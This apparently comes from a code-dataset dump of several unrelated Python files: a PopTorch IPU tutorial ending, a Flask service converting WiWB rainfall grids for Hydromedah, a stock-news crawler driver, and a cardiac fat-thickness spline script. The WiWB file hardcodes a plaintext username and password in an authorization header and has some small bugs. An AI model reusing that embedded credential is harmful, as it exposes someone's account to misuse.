`poptorch.Options`\n# This class encapsulates the options that PopTorch and PopART will use\n# alongside our model. Some concepts, such as \"batch per iteration\" are\n# specific to the functioning of the IPU, and within this class some\n# calculations are made to reduce risks of errors and make it easier for\n# PyTorch users to use IPUs.\n\n# The list of these options is available in the [documentation](https://docs.graphcore.ai/projects/poptorch-user-guide/en/latest/overview.html#options).\n# Let's introduce here 4 of these options to get an idea of what they cover.\n\n# ### `deviceIterations`\n# Remember the training loop we have discussed previously. A device iteration\n# is one cycle of that loop, which runs entirely on the IPU (the device), and\n# which starts with a new batch of data. This option specifies the number of\n# batches that is prepared by the host (CPU) for the IPU. The higher this\n# number, the less the IPU has to interact with the CPU, for example to request\n# and wait for data, so that the IPU can loop faster. However, the user will\n# have to wait for the IPU to go over all the iterations before getting the\n# results back. The maximum is the total number of batches in your dataset, and\n# the default value is 1.\n\n# ### `replicationFactor`\n# This is the number of replicas of a model. A replica is a copy of a same\n# model on multiple devices. We use replicas as an implementation of data\n# parallelism, where a same model is served with several batches of data at the\n# same time but on different devices, so that the gradients can be pooled. To\n# achieve the same behaviour in pure PyTorch, you'd wrap your model with `torch.\n# nn.DataParallel`, but with PopTorch, this is an option. Of course, each\n# replica requires one IPU. So, if the `replictionFactor` is two, two IPUs are\n# required.\n\n# ### `randomSeed`\n# The IPU has a different, on-device pseudo-random number generator (PRNG).\n# This option sets the seed for the PRNG on the IPU. This is equivalent to\n# using `torch.seed`.\n\n# ### `useIpuModel`\n# An IPU Model is a simulation, running on a CPU, of an actual IPU. This can be\n# helpful if you're working in an environment where no IPUs are available but\n# still need to make progress on your code. However, the IPU Model doesn't\n# fully support replicated graphs and its numerical results can be slightly\n# different from what you would get with an actual IPU. You can learn more\n# about the IPU Model and its limitations with our [documentation]\n# (https://docs.graphcore.ai/projects/poplar-user-guide/en/latest/poplar_programs.html?highlight=ipu%20model#programming-with-poplar).\n\n# ## How to set the options\n# These options are callable, and chainable as they return the instance. One\n# can therefore do as follows:\nopts = poptorch.Options().deviceIterations(20).replicationFactor(2).randomSeed(123).useIpuModel(True)\n\n\n# # Going further\n\n# Other tutorials will be made available in the future to explore more advanced\n# features and use cases for PopTorch. Make sure you've subscribed to our\n# newsletter to stay up to date.\n\n# In the meantime, to learn more about the IPU and the lower level Poplar\n# libraries and graph programming framework, you can go through our Poplar\n# tutorials and read our Poplar SDK overview.\n","repo_name":"mkbahk/SlurmLearning","sub_path":"Fashion-MNIST-pytorch-class-poplar-sdk2_3.py","file_name":"Fashion-MNIST-pytorch-class-poplar-sdk2_3.py","file_ext":"py","file_size_in_byte":16340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"782785222","text":"# -*- coding: utf-8 -*-\n\"\"\"\nPython app to convert WiWB meteo-data to Hydromedah-data and FEWS-CSV\n\"\"\"\n\n__author__ = \"Daniel Tollenaar\"\n__credits__ = [\"Daniel Tollenaar\", \"Siebe Bosch\"]\n__maintainer__ = \"Daniel Tollenaar\"\n__email__ = \"daniel@d2hydro.nl\"\n__status__ = \"Development\"\n\nimport base64\nimport datetime\nfrom flask import (Blueprint, request, send_file)\nfrom operator import itemgetter\nimport glob\nimport numpy as np\nimport json\nimport os\nimport rasterio\nimport requests\nimport shutil\nimport time\nimport zipfile\nfrom rasterio import features\nimport pygeoj\n\n# create directories if not existing\ndef read_status():\n f = open(status_file ,'r')\n line = f.readlines()\n return json.loads(line[-1])\n\ndef make_dir(directory):\n dirpath = os.path.abspath(directory)\n if os.path.exists(dirpath): shutil.rmtree(dirpath)\n os.makedirs(os.path.abspath(directory))\n\ndef print_status(message):\n print(json.dumps({\"time\":time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()),\"status\":message}),file=open(status_file, \"a\"))\n \ndef from_wiwb(dsc,variable_code,bounds,start_date,end_date,zip_dir='wiwb_raw'):\n url = 'https://wiwb.hydronet.com/api/grids/get'\n headers = {'Authorization':\"Basic \"+bytes.decode(base64.standard_b64encode(str.encode(\"siebe.bosch:\" + \"iY0Hofot3zaZWxyCOxPX\"))),\"Content-Type\":\"application/json\",\"Accept\":\"application/json\"}\n payload = {\"Readers\":[{\"DataSourceCode\":dsc,\"Settings\":{\"StructureType\":\"Grid\",\"ReadQuality\":False,\"ReadAvailability\":True,\"StartDate\":start_date.strftime('%Y%m%d%H%M%S'),\"EndDate\":end_date.strftime('%Y%m%d%H%M%S'),\"VariableCodes\":[variable_code],\"Extent\":{\"XLL\":bounds[0],\"YLL\":bounds[1],\"XUR\":bounds[2],\"YUR\":bounds[3],\"SpatialReference\":{\"Epsg\":\"28992\"}},\"Interval\":{\"Type\":\"Hours\",\"Value\":1},\"ReadAccumulated\":False}}],\"Exporter\":{\"DataFormatCode\":\"geotiff\",\"Settings\":{\"DigitsToRound\":2}}} \n \n return requests.post(url, headers=headers, data=json.dumps(payload),timeout=10 * 60 * 1000)\n\ndef to_hydromedah(variable,zip,inp_array):\n try:\n zip_ref = zipfile.ZipFile(os.path.join(wiwb_dir,'{}.zip'.format(variable)), 'r')\n zip_ref.extractall(work_dir)\n zip_ref.close() \n \n tiff_files = glob.glob(os.path.abspath(os.path.join(work_dir,'*.tif')))\n except:\n return ['ERROR','server failed to unzip {}.zip retrieved from WiWb'.format(variable)]\n print_status('ready')\n \n \n try:\n for idx, tiff in enumerate(tiff_files):\n # reading raster meta data and band\n tiff_name = os.path.splitext(os.path.basename(tiff))[0]\n raster= rasterio.open(tiff)\n no_data = raster.nodata\n data = raster.read(1)\n profile = raster.profile\n # fill no_data with 0\n data[data== no_data] = 0.\n \n # multiply rainfall grids with 24 and fill inp-file\n date_obj = datetime.strptime(tiff_name[len(tiff_name)-41:len(tiff_name)-21],'%Y-%m-%dT%Hh%Mm%Ss')\n if variable == 'P':\n tstep = float(idx)/24.\n asc_file = date_obj.strftime('NSL_%Y%m%d_%H.ASC')\n zip_path = os.path.join('NSL',os.path.basename(asc_file))\n inp_array[idx,:] = ['%.10f' % tstep,date_obj.year,'\"{}\"'.format(asc_file),'\"{}\"'.format('...................'),'\"NoValue\"','\"NoValue\"','\"NoValue\"']\n data = data * 24\n else: \n asc_file = date_obj.strftime('MAK_%Y%m%d.ASC')\n zip_path = os.path.join('MAK',os.path.basename(asc_file))\n inp_array[idx*24:idx*24+24,3] = '\"{}\"'.format(asc_file)\n \n #write to ascii and store in zip-file\n profile['driver'] = 'AAIGrid'\n asc_path = os.path.join(work_dir,asc_file)\n with rasterio.open(asc_path, 'w', **profile) as dst:\n dst.write(data, 1)\n zip.write(asc_path, zip_path)\n raster.close()\n make_dir(work_dir)\n except:\n return ['ERROR','server failed to process {} retrieved from WiWb'.format(os.path.basename(tiff))]\n return ['SUCCES',inp_array]\n\ndef to_timeSeries(variable,feats,attribute):\n result = {'timeZone':0,'timeSeries':[]}\n \n try:\n zip_ref = zipfile.ZipFile(os.path.join(wiwb_dir,'{}.zip'.format(variable)), 'r')\n zip_ref.extractall(work_dir)\n zip_ref.close() \n \n tiff_files = glob.glob(os.path.abspath(os.path.join(work_dir,'*.tif')))\n except:\n return ['ERROR','server failed to unzip {}.zip retrieved from WiWb'.format(variable)]\n print_status('ready')\n \n #try:\n for idx, tiff in enumerate(tiff_files):\n # reading raster meta data and band\n tiff_name = os.path.splitext(os.path.basename(tiff))[0]\n raster= rasterio.open(tiff)\n no_data = raster.nodata\n data = raster.read(1)\n # fill no_data with 0\n data[data== no_data] = 0.\n \n date_obj = datetime.datetime.strptime(tiff_name[len(tiff_name)-99:len(tiff_name)],'%Y-%m-%dT%Hh%Mm%Ss')\n if not variable == 'P':\n print('other data than \"P\" not yet supported!')\n \n affine = raster.transform\n \n for feature in feats['features']:\n ident = feature['properties'][attribute] \n if idx == 0: result['timeSeries'].append({'header':{'locationId':ident,'parameterId':variable,'missVal':float('nan'),'units':'mm'},'events':[]})\n image = rasterio.features.rasterize([feature['geometry']],out_shape=raster.shape,all_touched=True,transform=affine).astype('float32')\n image[image == 0] = np.nan\n value = round(float(np.nanmean(np.multiply(image,data))),2)\n record = next(idx for idx, item in enumerate(result['timeSeries']) if item[\"header\"]['locationId'] == ident)\n result['timeSeries'][record]['events'].append({'date':date_obj.strftime('%Y-%m-%d'),'time':date_obj.strftime('%H:%M:%S'),'value':value})\n raster.close()\n #except:\n # return ['ERROR','server failed to process {} retrieved from WiWb'.format(os.path.basename(tiff))]\n\n make_dir(work_dir)\n return result\n\nbp = Blueprint('wiwb', __name__, url_prefix='/api/wiwb')\n\nwiwb_dir = 'wiwb_raw'\nwork_dir = 'work_dir'\nclient_dir = 'to_client'\n\nabspath = os.path.abspath(__file__)\ndname = os.path.dirname(abspath)\nos.chdir(dname)\n\nstatus_file = os.path.join('status.txt')\n\n \n@bp.route('/hydromedah', methods=('GET', ))\ndef get_hydromedah():\n # try if no previous instance is active\n try:\n if os.path.exists(status_file):\n status = read_status()['status']\n if not status == 'ready': \n time.sleep(2)\n response = 'wiwb api status = \"{}\". Please try again later'.format(status)\n return response ,200\n except: \n pass\n \n file = open(status_file,'w')\n file.close()\n \n # try to parse parameters \n try:\n bounds = json.loads(request.args.get('bounds'))\n start_date = datetime.datetime.strptime(request.args.get('sd'),'%Y-%m-%dT%H:%M:%SZ') \n end_date = datetime.datetime.strptime(request.args.get('ed'),'%Y-%m-%dT%H:%M:%SZ') \n except:\n error_message = 'Missing or mall-formed input parameters: bounds: {}, start_date: {}, end_date: {}'.format(bounds,start_date,end_date)\n print_status('ready')\n return error_message , 400\n \n # some checks\n if (end_date - start_date).days <= 1: \n print_status('ready')\n return 'your timespan should be > 1 day', 400\n \n # get rainfall from wiwb server\n print_status('getting rainfall from wiwb')\n make_dir(wiwb_dir)\n \n try:\n r = from_wiwb('Meteobase.Precipitation','P',bounds,start_date,end_date)\n except:\n error_message = 'failed to send request to WiWb'\n print_status('ready')\n return error_message , 500\n \n if r.status_code == 200:\n with open(os.path.join(wiwb_dir,'P.zip'),'wb') as f:\n for chunk in r:\n f.write(chunk)\n else:\n error_message = 'WiWb-server failed with message: {}'.format(r.text)\n print_status('ready')\n return error_message , r.status_code \n \n # get evaporation from wiwb server\n print_status('getting evaporation from wiwb')\n \n try:\n r = from_wiwb('Meteobase.Evaporation.Makkink','Evaporation',bounds,start_date,end_date)\n except:\n error_message = 'failed to send request to WiWb'\n print_status('ready')\n return error_message , 500\n \n if r.status_code == 200:\n with open(os.path.join(wiwb_dir,'Evaporation.zip'),'wb') as f:\n for chunk in r:\n f.write(chunk)\n else:\n error_message = 'WiWb-server failed with message: {}'.format(r.text)\n print_status('ready')\n return error_message , r.status_code \n \n # convert to hydromedah-format\n print_status('converting data to hydromedah-format')\n make_dir(client_dir)\n\n zip = zipfile.ZipFile(os.path.join(client_dir,'forcing.zip'), \"w\", zipfile.ZIP_DEFLATED)\n \n inp_array = np.chararray([int((end_date - start_date).days*24),7],itemsize=21)\n result = to_hydromedah('P',zip,inp_array)\n if result[0] == 'ERROR': \n return result[1], 500\n print_status('ready')\n else: inp_array = result[1]\n result = to_hydromedah('Evaporation',zip,inp_array)\n if result[0] == 'ERROR': \n return result[1], 500\n print_status('ready')\n else: inp_array = result[1]\n np.savetxt(os.path.join(work_dir,'Mete_grid.inp'),inp_array.decode('utf-8'),delimiter=',',fmt='%s')\n zip.write(os.path.join(work_dir,'Mete_grid.inp'),'Mete_grid.inp')\n zip.close() \n \n print_status('ready')\n return send_file(os.path.join(client_dir,'forcing.zip')), 200\n\n@bp.route('/timeseries', methods=('GET', ))\ndef get_timeSeries():\n # try if no previous instance is active\n data = json.loads(request.data)\n try:\n if os.path.exists(status_file):\n status = read_status()['status']\n if not status == 'ready': \n time.sleep(2)\n response = 'wiwb api status = \"{}\". Please try again later'.format(status)\n return response ,200\n except: \n pass\n \n file = open(status_file,'w')\n file.close()\n # try to parse parameters \n try:\n geojson, attribute,start_date,end_date = None,None,None,None\n geojson = data['geojson']\n attribute = data['id']\n start_date = datetime.datetime.strptime(data['sd'],'%Y-%m-%dT%H:%M:%SZ') \n end_date = datetime.datetime.strptime(data['ed'],'%Y-%m-%dT%H:%M:%SZ') \n except:\n error_message = 'Missing or mall-formed input parameters: geojson: {}, attribute: {}, start_date: {}, end_date: {}'.format(data['geojson'],data['id'],data['sd'],data['ed'])\n print_status('ready')\n return error_message , 400\n \n # some checks\n if (end_date - start_date).days <= 1: \n print_status('ready')\n return 'your timespan should be > 1 day', 400\n \n\n if not attribute in pygeoj.load(data=geojson).common_attributes:\n error_message = '\"{}\" not an attribute in geojson specified in areas parameter'.format(attribute)\n print(error_message)\n return error_message , 400\n \n bounds = pygeoj.load(data=geojson).bbox\n \n\n # get rainfall from wiwb server\n print_status('getting rainfall from wiwb')\n make_dir(wiwb_dir)\n \n try:\n r = from_wiwb('Meteobase.Precipitation','P',bounds,start_date,end_date)\n except:\n error_message = 'failed to send request to WiWb'\n print_status('ready')\n return error_message , 500\n \n if r.status_code == 200:\n with open(os.path.join(wiwb_dir,'P.zip'),'wb') as f:\n for chunk in r:\n f.write(chunk)\n else:\n error_message = 'WiWb-server failed with message: {}'.format(r.text)\n print_status('ready')\n return error_message , r.status_code \n \n # convert to json\n\n timeSeries = to_timeSeries('P',geojson,attribute) \n \n print_status('ready')\n \n return json.dumps(timeSeries), 200\n\n@bp.route('/status', methods=('GET', ))\ndef status():\n try:\n response = read_status()\n except:\n response = {\"status\":'api status not available'} \n time.sleep(2)\n return json.dumps(response),200\n","repo_name":"SiebeBosch/Meteobase","sub_path":"frontend/meteobase/python/wiwb/wiwb_app.py","file_name":"wiwb_app.py","file_ext":"py","file_size_in_byte":12506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30618648704","text":"import time, datetime, threading\r\nfrom concurrent import futures\r\n\r\nfrom Crawler.crawler_sina import WebCrawlFromSina\r\nfrom Crawler.crawler_jrj import WebCrawlFromjrj\r\nfrom Crawler.crawler_cnstock import WebCrawlFromcnstock\r\nfrom Crawler.crawler_stcn import WebCrawlFromstcn\r\n\r\nimport Text_Analysis.text_mining as tm\r\n\r\ndef crawlers(web):\r\n\tif web == 'sina':\r\n\t\tweb_crawl_obj = WebCrawlFromSina(5000,100,ThreadsNum=4,IP=\"localhost\",PORT=27017,\\\r\n\t\t\tdbName=\"Sina_Stock\",collectionName=\"sina_news_company\")\r\n\t\tweb_crawl_obj.classifyRealtimeStockNews()\r\n\telif web == 'jrj':\r\n\t\tweb_crawl_obj = WebCrawlFromjrj(\"2009-01-05\",\"2018-02-03\",100,ThreadsNum=4,IP=\"localhost\",PORT=27017,\\\r\n\t\t\tdbName=\"Jrj_Stock\",collectionName=\"jrj_news_company\")\r\n\t\tweb_crawl_obj.classifyRealtimeStockNews()\r\n\telif web == 'cnstock':\r\n\t\tweb_crawl_obj = WebCrawlFromcnstock(IP=\"localhost\",PORT=27017,ThreadsNum=4,\\\r\n\t\t\tdbName=\"Cnstock_Stock\",collectionName=\"cnstock_news_company\")\r\n\t\tweb_crawl_obj.classifyRealtimeStockNews()\r\n\telif web == 'stcn':\r\n\t\tweb_crawl_obj = WebCrawlFromstcn(IP=\"localhost\",PORT=27017,ThreadsNum=4,\\\r\n\t\t\tdbName=\"Stcn_Stock\",collectionName=\"stcn_news_company\")\r\n\t\tweb_crawl_obj.classifyRealtimeStockNews()\r\n\r\nif __name__ == '__main__':\r\n\t# Step 1. Initiate\r\n\ttext_mining_obj = tm.TextMining(IP=\"localhost\",PORT=27017)\r\n\r\n\t# Step 2. Extract relevant stock codes of news(articles/documents) from all database\r\n\ttext_mining_obj.extractStockCodeFromArticle(\"NBD_Stock\",\"nbd_news_company\") # 从每经网的新闻中抽出相关的股票代码\r\n\ttext_mining_obj.extractStockCodeFromArticle(\"Cnstock_Stock\",\"cnstock_news_company\") # 从中国证券网的新闻中抽出相关的股票代码\r\n\ttext_mining_obj.extractStockCodeFromArticle(\"Stcn_Stock\",\"stcn_news_company\") # 从证券时报网的新闻中抽出相关的股票代码\r\n\ttext_mining_obj.extractStockCodeFromArticle(\"Jrj_Stock\",\"jrj_news_company\") # 从金融界网的新闻中抽出相关的股票代码\r\n\r\n\t# Step 3. Extract all news related to specific stock to new database(this step will take long time)\r\n\tcodeLst = text_mining_obj.extractData(\"Stock\",\"Basic_Info\",['code']).code\r\n\tRange = 10\r\n\tIdx = 0\r\n\twhile Idx < len(codeLst):\r\n\t\tthread_lst = []\r\n\t\tfor stockcode in codeLst[Idx:Idx+Range]:\r\n\t\t\tthread = threading.Thread(target=text_mining_obj.getNewsOfSpecificStock,\\\r\n\t\t\t\targs=([(\"NBD_Stock\",\"nbd_news_company\"),(\"Sina_Stock\",\"sina_news_company\"),\\\r\n\t\t\t\t(\"Cnstock_Stock\",\"cnstock_news_company\"),(\"Stcn_Stock\",\"stcn_news_company\"),(\"Jrj_Stock\",\\\r\n\t\t\t\t\"jrj_news_company\")],stockcode),kwargs={\"export\":['database','Stock_News',stockcode],\"judgeTerm\":3})\r\n\t\t\tthread_lst.append(thread)\r\n\t\tfor thread in thread_lst:\r\n\t\t\tthread.start()\r\n\t\tfor thread in thread_lst:\r\n\t\t\tthread.join()\r\n\t\tprint(' [*] have extracted ' + codeLst[Idx:Idx+Range])\r\n\t\tIdx += Range\r\n\tthread_lst = []\r\n\tfor stockcode in codeLst[Idx:]:\r\n\t\tthread = threading.Thread(target=text_mining_obj.getNewsOfSpecificStock,\\\r\n\t\t\targs=([(\"NBD_Stock\",\"nbd_news_company\"),(\"Sina_Stock\",\"sina_news_company\"),\\\r\n\t\t\t(\"Cnstock_Stock\",\"cnstock_news_company\"),(\"Stcn_Stock\",\"stcn_news_company\"),(\"Jrj_Stock\",\\\r\n\t\t\t\"jrj_news_company\")],stockcode),kwargs={\"export\":['database','Stock_News',stockcode],\"judgeTerm\":3})\r\n\t\tthread_lst.append(thread)\r\n\tfor thread in thread_lst:\r\n\t\tthread.start()\r\n\tfor thread in thread_lst:\r\n\t\tthread.join()\r\n\tprint(' [*] have extracted ' + codeLst[Idx:Idx+Range])\r\n\r\n\t# Step 4. Crawl real-time news from 'web_list' and make classification \r\n\tweb_list = ['sina','jrj','cnstock','stcn']\r\n\twith futures.ThreadPoolExecutor(max_workers=4) as executor:\r\n\t\tfuture_to_url = {executor.submit(crawlers,param) : \\\r\n\t\t\tind for ind, param in enumerate(web_list)}\r\n","repo_name":"DemonDamon/Listed-company-news-crawl-and-text-analysis","sub_path":"run_main.py","file_name":"run_main.py","file_ext":"py","file_size_in_byte":3683,"program_lang":"python","lang":"en","doc_type":"code","stars":807,"dataset":"github-code","pt":"32"} +{"seq_id":"16343991369","text":"import numpy as np\nimport matplotlib\nfrom os.path import isdir\nfrom os import mkdir\nimport yaml\nimport pyvista as pv\nimport time\nfrom scipy.signal import savgol_filter\nfrom PIL import Image\n\nmatplotlib.use(\"TkAgg\")\nimport matplotlib.pyplot as plt\n\nimport splineTools\n\n# define parameters for reading from file (hardcoded for now, but should be easy to integrate into PATS)\n# fileName = 'C:/Users/colin/Desktop/school docs/Research/3D-MRI-Files/306-POST/outsidePoints/combined_slice_'\n# fatName = 'C:/Users/colin/Desktop/school docs/Research/3D-MRI-Files/306-POST/outsidePoints/fat_slice_'\n# rightFileName = 'C:/Users/colin/Desktop/school docs/Research/3D-MRI-Files/306-POST/outsidePoints/right_slice_'\n# leftFileName = 'C:/Users/colin/Desktop/school docs/Research/3D-MRI-Files/306-POST/outsidePoints/left_slice_'\n# vtkPath = 'C:/Users/colin/Desktop/school docs/Research/3D-MRI-Files/306-POST/vtkModels/'\n\n# fileName = 'C:/Users/cogibbo/Desktop/538 Project Files/Cases/MF0310-POST/ES/outsidePoints/combined_slice_'\n# fatName = 'C:/Users/cogibbo/Desktop/538 Project Files/Cases/MF0310-POST/ES/outsidePoints/fat_slice_'\n# rightFileName = 'C:/Users/cogibbo/Desktop/538 Project Files/Cases/MF0310-POST/ES/outsidePoints/right_slice_'\n# leftFileName = 'C:/Users/cogibbo/Desktop/538 Project Files/Cases/MF0310-POST/ES/outsidePoints/left_slice_'\n# vtkPath = 'C:/Users/cogibbo/Desktop/538 Project Files/Cases/MF0310-POST/ES/vtkModels/'\n\n# fileName = 'C:\\\\Users\\\\cogibbo\\\\Desktop\\\\3D-MRI-Data\\\\303-POST\\\\outsidePoints\\\\combined_slice_'\n# fatName = 'C:\\\\Users\\cogibbo\\\\Desktop\\\\3D-MRI-Data\\\\303-POST\\\\outsidePoints\\\\fat_slice_'\n# rightFileName = 'C:\\\\Users\\\\cogibbo\\Desktop\\\\3D-MRI-Data\\\\303-POST\\\\outsidePoints\\\\right_slice_'\n# leftFileName = 'C:\\\\Users\\\\cogibbo\\\\Desktop\\\\3D-MRI-Data\\\\303-POST\\\\outsidePoints\\\\left_slice_'\n\nfileName = 'C:\\\\Users\\\\cogibbo\\Desktop\\\\538 Project Files\\\\Cases\\\\MF0303-POST\\\\ED\\\\outsidePoints\\\\combined_slice_'\nfatName = 'C:\\\\Users\\\\cogibbo\\Desktop\\\\538 Project Files\\\\Cases\\\\MF0303-POST\\\\ED\\\\outsidePoints\\\\fat_slice_'\nrightFileName = 'C:\\\\Users\\\\cogibbo\\Desktop\\\\538 Project Files\\\\Cases\\\\MF0303-POST\\\\ED\\\\outsidePoints\\\\right_slice_'\nleftFileName = 'C:\\\\Users\\\\cogibbo\\Desktop\\\\538 Project Files\\\\Cases\\\\MF0303-POST\\\\ED\\\\outsidePoints\\\\left_slice_'\nvtkPath = 'C:\\\\Users\\\\cogibbo\\\\Desktop\\\\538 Project Files\\\\Cases\\\\MF0303-POST\\\\ED\\\\vtkModels\\\\'\n\nstartFrame = 1\nstopFrame = 7\nnumSlices = (stopFrame - startFrame) + 1\n\n#######################################################################################################################\n\n# read in points from files\norigX, origY, origZ, numPointsEachContour = splineTools.readSlicePoints(fileName, startFrame, stopFrame, 10)\n\n# resample the data so each slice has the same number of points\n# do this by fitting each slice with B-spline curve\nresampleNumControlPoints = 20\ndegree = 12\nresampX, resampY, resampZ, newXControl, newYControl, newZControl, numPointsPerContour, totalResampleError = \\\n splineTools.reSampleAndSmoothPoints(origX, origY, origZ, numPointsEachContour, resampleNumControlPoints, degree)\n\n########################################################################################################################\n\n# # create synthetic tube data for testing\n# numPointsPerContour = 257\n# numSlices = 10\n# r = 6\n# newX, newY, newZ = splineTools.generateTubeData(numPointsPerContour, numSlices, r)\n#\n# # copy beginning point to end so curve will be closed\n# x = np.zeros((numSlices, numPointsPerContour+1))\n# x[:, :-1] = newX\n# x[:, numPointsPerContour] = newX[:, 0]\n#\n# y = np.zeros((numSlices, numPointsPerContour+1))\n# y[:, :-1] = newY\n# y[:, numPointsPerContour] = newY[:, 0]\n#\n# z = np.zeros((numSlices, numPointsPerContour+1))\n# z[:, :-1] = newZ\n# z[:, numPointsPerContour] = newZ[:, 0]\n#\n# numPointsPerContour += 1\n#\n# # rename to use instead of data that would have been read in\n# resampX = x\n# resampY = y\n# resampZ = z\n\n########################################################################################################################\n#plot the data\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# for i in range(numSlices):\n# ax.plot(resampX[i, :], resampY[i, :], resampZ[i, :])\n# plt.title(f'Uniformly sampled slice contours, degree={degree}')\n# plt.show()\n\ndegree = 3\n# set up parameters for spline fit\nnumControlPointsU = numSlices + degree\nnumControlPointsV = numSlices\ndegreeU = 10\ndegreeV = 3\nnumCalcControlPointsU = numControlPointsU + degree\n\n# call function to perform outside point spline fitting\nX, Y, Z, Vx, Vy, Vz, U, V, tri = splineTools.fitSplineClosed3D(resampX, resampY, resampZ, numControlPointsU,\n numControlPointsV, degreeU, degreeV, numPointsPerContour,\n numSlices, fix_samples=True)\n\n# update number of points per contour in case resampling was applied\nnumPointsPerContour = X.shape[1]\n\n########################################################################################################################\n# plot all data on same scale\nminX = np.min(Vx)\nminY = np.min(Vy)\nminZ = np.min(Vz)\nmaxX = np.max(Vx)\nmaxY = np.max(Vy)\nmaxZ = np.max(Vz)\nazimuth = -40\nelevation = 15\n\n# # # if using the synthetic tube, set up number of points in each contour\n# numPointsEachContour = np.ones((1, numSlices)) * numPointsPerContour\n# origX = x\n# origY = y\n# origZ = z\n\n# # plot the original data\n# fig = plt.figure()\n# ax = fig.add_subplot(2, 2, 1, projection='3d')\n# ax.view_init(elevation, azimuth)\n# ax.set_xlim(minX, maxX)\n# ax.set_ylim(minY, maxY)\n# ax.set_zlim(minZ, maxZ)\n# ax.set_title('Original Data')\n#\n# for i in range(numSlices):\n# limit = numPointsEachContour[i]\n# #limit = numPointsPerContour\n# ax.plot(origX[i, 0:limit], origY[i, 0:limit], origZ[i, 0:limit])\n#\n# # plot the resampled data\n# ax = fig.add_subplot(2, 2, 2, projection='3d')\n# ax.view_init(elevation, azimuth)\n# ax.set_xlim(minX, maxX)\n# ax.set_ylim(minY, maxY)\n# ax.set_zlim(minZ, maxZ)\n# ax.set_title('Resampled Data; Error: {0}'.format(round(totalResampleError, 2)))\n# for i in range(numSlices):\n# ax.plot(resampX[i, :], resampY[i, :], resampZ[i, :])\n#\n#\n# # plot the control mesh\n# ax = fig.add_subplot(2, 2, 3, projection='3d')\n# ax.scatter(Vx, Vy, Vz, s=4)\n# ax.set_title('Control point Mesh: {0}x{1}'.format(numControlPointsU, numControlPointsV))\n#\n# # add horizontal connections\n# for i in range(numControlPointsV):\n# ax.plot(Vx[i, 0:numCalcControlPointsU], Vy[i, 0:numCalcControlPointsU], Vz[i, 0:numCalcControlPointsU], 'r')\n#\n# # add vertical connections\n# for i in range(numCalcControlPointsU):\n# ax.plot(Vx[0:numControlPointsV, i], Vy[0:numControlPointsV, i], Vz[0:numControlPointsV, i], 'r')\n#\n# # now plot the surface\n# ax = fig.add_subplot(2, 2, 4, projection='3d')\n# # ax.set_title('{0}x{1}'.format(lengthU, lengthV)) # can add error metrics to title later if necessary\n# ax.plot_surface(X, Y, Z)\n#\n# # now that all subplots have been generated, display them on a single figure\n# plt.show()\n\n# ######################################################################################################################\n# # plot control points and the surface on the same plot\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# ax.set_title('Combined plot')\n# ax.view_init(elevation, azimuth)\n# ax.set_xlim(minX, maxX)\n# ax.set_ylim(minY, maxY)\n# ax.set_zlim(minZ, maxZ)\n#\n# # plot control points\n# ax.scatter(Vx, Vy, Vz, s=4)\n#\n# # add horizontal connections\n# for i in range(numControlPointsV):\n# ax.plot(Vx[i, 0:numCalcControlPointsU], Vy[i, 0:numCalcControlPointsU], Vz[i, 0:numCalcControlPointsU], 'r')\n#\n# # add vertical connections\n# for i in range(numCalcControlPointsU):\n# ax.plot(Vx[0:numControlPointsV, i], Vy[0:numControlPointsV, i], Vz[0:numControlPointsV, i], 'r')\n#\n# # plot the surface\n# ax.plot_surface(X, Y, Z)\n\n# read fat points from file and add them to the scene\nfatX, fatY, fatZ, numFatPointsPerSlice = splineTools.readSlicePoints(fatName, startFrame, stopFrame, 10)\n# ax.scatter(fatX, fatY, fatZ, marker='s', s=4, c='yellow')\n#\n# plt.show()\n\n# generate normal vectors\ncrossX, crossY, crossZ = splineTools.generateNormalVectors(X, Y, Z)\n\n# # measure fat thickness at each normal vector\n# thicknessByPoint, xFatPoints, yFatPoints, indices = splineTools.measureFatThickness(X, Y, crossX, crossY, fatX, fatY,\n# numSlices, numPointsPerContour,\n# numFatPointsPerSlice)\n\nthicknessByPoint, fatPointsX, fatPointsY, indices = splineTools.altFatThickness(X, Y, crossX, crossY, fatX, fatY, numSlices,\n numPointsPerContour, numFatPointsPerSlice)\n\n# for s in range(numSlices):\n# ind = indices[s]\n# fig = plt.figure()\n# plt.plot(X[ind, :], Y[ind, :], c='blue')\n# plt.scatter(fatX[s, :], fatY[s, :], c='yellow', marker='s', s=50)\n# plt.scatter(fatPointsX[s, :], fatPointsY[s, :], c='black')\n# plt.show()\n\n# plot each normal vector one at a time along with the fat points associated with it\n# zz = np.linspace(np.min(Z), np.max(Z), numSlices)\n# zz = np.transpose(np.tile(zz, (numPointsPerContour, 1)))\n# scaleFactor = X.shape[0] / numSlices\n# indices = np.floor(np.arange(0, X.shape[0], scaleFactor)).astype(int)\n# for i in range(numSlices):\n# index = indices[i]\n# fig = plt.figure()\n# plt.plot(X[index, :], Y[index, :], c='blue')\n# plt.scatter(fatX[i, :], fatY[i, :], c='yellow')\n# count = 0\n# for j in range(numPointsPerContour - 1):\n# vector = plt.quiver(X[index, j], Y[index, j], crossX[index, j], crossY[index, j], scale=10,\n# headwidth=0, color='black')\n# thisVectorPoints = plt.scatter(xFatPoints[i, j, :], yFatPoints[i, j, :], c='black')\n# message = f'Slice {i}, Point {j}: Fat thickness of {thicknessByPoint[i, j]} mm'\n# plt.title(message)\n# plt.draw()\n# plt.pause(0.05)\n# thisVectorPoints.remove()\n# vector.remove()\n\n# create arrays for appropriately spaced plots of fat thickness\nx = np.linspace(0, numSlices - 1, numSlices)\nx = 10 * np.transpose(np.tile(x, (numPointsPerContour, 1)))\nxStem = np.ravel(x)\ny = np.linspace(0, numPointsPerContour, numPointsPerContour)\nyStem = np.tile(y, numSlices)\ny = np.tile(y, (numSlices, 1))\nzStem = np.ravel(thicknessByPoint)\n\n# # create stem plot on same axes\n# fig = plt.figure()\n# ax = fig.gca(projection='3d')\n# for xx, yy, zz in zip(xStem, yStem, zStem):\n# plt.plot([xx, xx], [yy, yy], [0, zz], '-', color='yellow')\n# ax.set_title('Stem plot of fat thickness')\n# ax.set_xlabel('Elevation')\n# ax.set_ylabel('Azimuth')\n# ax.set_zlabel('Fat thickness (mm)')\n# plt.show()\n\n# might consider adjusting degree of this fit to see how it affects fidelity to input segmentations\n# wrap mode uses values from other side of array, which is what we want to see given that these thickness 